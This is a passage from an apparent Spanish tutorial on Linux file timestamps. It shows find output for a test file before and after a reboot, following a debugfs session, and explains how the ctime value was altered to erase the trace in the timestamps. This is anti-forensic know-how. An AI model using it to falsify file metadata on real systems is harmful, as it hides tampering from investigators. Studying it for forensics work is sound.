Direct Block #11    [0]
Indirect Block    [0]
Double Indirect Block    [0]
Triple Indirect Block    [0]
debugfs:
debugfs:  close
debugfs:  quit
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
666; 08/03/08;13:53:27; 08/03/08;14:00:14; 19/03/08;14:21:00; 1000;1000;1000;23;./prueba.txt
dante@dante-desktop:~/pruebas$ sudo shutdown -r now
Emitir mensajes desde dante@dante-desktop
(/dev/pts/0) en 17:10 ...

¡El sistema se va a apagar por reboot AHORA!
(...)
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
666; 08/03/08;13:53:27; 08/03/08;14:00:14; 08/03/08;14:00:14; 1000;1000;1000;23;./prueba.txt

Resulta notable que una herramienta como debugfs confunde también el sentido de ctime y pregunta por el "Creation time", pero como ya se ha mencionado se trata de un error muy común (piense en qué sentido tendría un creation-time que cambiase con cada modificación del fichero). De todos modos, como se puede ver, ahora sí que se ha modificado el valor del ctime borrando por completo el rastro dejado en los timestamps...